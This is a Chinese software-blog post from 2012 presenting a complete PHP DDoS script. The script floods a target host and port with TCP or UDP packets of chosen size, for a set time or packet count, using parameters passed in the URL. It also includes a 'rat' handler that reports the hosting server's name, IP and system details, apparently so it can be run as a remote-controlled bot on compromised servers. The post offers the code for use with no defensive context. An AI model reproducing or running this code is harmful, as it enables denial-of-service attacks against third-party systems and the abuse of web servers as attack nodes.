兔八哥极品软件园    运行: 4493天 | 文章:640 篇 | 评论:505 条 | 碎语:1条

一段 php fsockopen ddos 代码

作者:admin 发布于:2012-8-17 15:11 Friday 分类:PHP


<?php
header("charset='utf-8'");//设置编码格式为UTF-8
error_reporting(0);//禁用错误报告
set_time_limit(0);//配置该页最久执行时间。  0为永久执行
ignore_user_abort(false); //设置与客户机断开是否会终止脚本的执行。

/*get参数*/
$type = $_GET['type']; //攻击方式 0为TCP 1为UDP
$host = $_GET['host'];  //攻击目标
$port = $_GET['port'];  //攻击端口
$exec_time = $_GET['time'];  //持续时间
$Sendlen = $_GET['size'];   //发送数据长度  如果为0则使用自定义数据包
$data =  $_GET['data']; //自定义数据包 最大为1024KB 格式为URL编码
$data = urldecode($data); //URL解码后的字符串
$count = $_GET['count']; //限制发包次数   0为不限制然后只能通过时间控制
/*end*/

if (function_exists('fsockopen')){$test="1";}else{$test="0";}//fsockopen是否能用

//检测服务器信息 返回格式 [标识符]函数状态|主机名|脚本名|服务器信息|结译引擎[标识符] 
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET['rat'])<>0){
            echo $_GET['rat'].$test."|".$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
            exit;
            }
    }

$byte = 0;//记录发包次数
$max_time = time()+$exec_time;//设置结束时间

if($Sendlen!=0){
	for($i=0;$i<$Sendlen;$i++){$out .= "X";}//构造指定长度数据包
}else{
	$out = $data;  //设置为自定义数据包
}

//死循环发送数据
while(1){
    if(time() > $max_time){break;}//时间到了就跳出循环		
	
	//判断攻击方式
	if($type==1) {    
        $fp = fsockopen("tcp://$host", $port, $errno, $errstr, 5);//打开TCP连接
    } else {    
        $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);//打开UDP连接
    }
        if($fp){			//如果连接成功
            fwrite($fp, $out);  //发送数据
            fclose($fp);  //关闭连接
    }
	
	$byte++;//发包次数加1
	
	if((int)$count!=0){
		if($byte > (int)$count){break;}//发包次数大于设置的就跳出循环
	}	
}
?>
原地址:http://phpddos.diandian.com/

标签: PHP fsockopen


Powered by 兔八哥极品软件 苏ICP备12049267号 sitemap